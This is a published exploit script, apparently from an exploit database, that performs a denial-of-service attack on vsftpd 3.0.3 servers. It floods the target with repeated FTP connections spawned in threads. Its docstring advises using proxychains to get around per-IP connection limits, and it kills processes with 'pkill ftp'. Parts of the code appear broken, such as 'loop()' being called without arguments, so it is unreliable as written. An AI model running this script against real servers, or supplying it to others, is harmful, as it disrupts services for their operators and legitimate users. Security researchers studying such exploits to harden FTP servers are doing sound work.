# Exploit Title: vsftpd 3.0.3 - Remote Denial of Service # Date: 22-03-2021 # Exploit Author: xynmaps # Vendor Homepage: https://security.appspot.com/vsftpd.html # Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz # Version: 3.0.3 # Tested on: Parrot Security OS 5.9.0 #-------------------------------# #encoding=utf8 #__author__ = XYN/Dump/NSKB3 #VSFTPD Denial of Service exploit by XYN/Dump/NSKB3. """ VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server, you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited. (if it's limited, just run this script from different proxies using proxychains, and it will work) """ import socket import sys import threading import subprocess import time banner = """ ._________________. | VS-FTPD | | D o S | |_________________| |By XYN/DUMP/NSKB3| |_|_____________|_| |_|_|_|_____|_|_|_| |_|_|_|_|_|_|_|_|_| """ usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0]) def test(t,p): s = socket.socket() s.settimeout(10) try: s.connect((t, p)) response = s.recv(65535) s.close() return 0 except socket.error: print("Port {} is not open, please specify a port that is open.".format(p)) sys.exit() def attack(targ, po, id): try: subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #print("Worker {} running".format(id)) except OSError: pass def main(): global target, port, start print banner try: target = sys.argv[1] except: print usage sys.exit() try: port = int(sys.argv[2]) except: port = 21 try: conns = int(sys.argv[3]) except: conns = 50 print("[!] Testing if {0}:{1} is open".format(target, port)) test(target, port) print("[+] Port {} open, starting attack...".format(port)) time.sleep(2) print("[+] Attack started on {0}:{1}!".format(target, port)) def loop(target, port, conns): global start threading.Thread(target=timer).start() while 1: for i in range(1, conns + 3): t = threading.Thread(target=attack, args=(target,port,i,)) t.start() if i > conns + 2: t.join() break loop() t = threading.Thread(target=loop, args=(target, port, conns,)) t.start() def timer(): start = time.time() while 1: if start < time.time() + float(900): pass else: subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) t = threading.Thread(target=loop, args=(target, port,)) t.start() break main()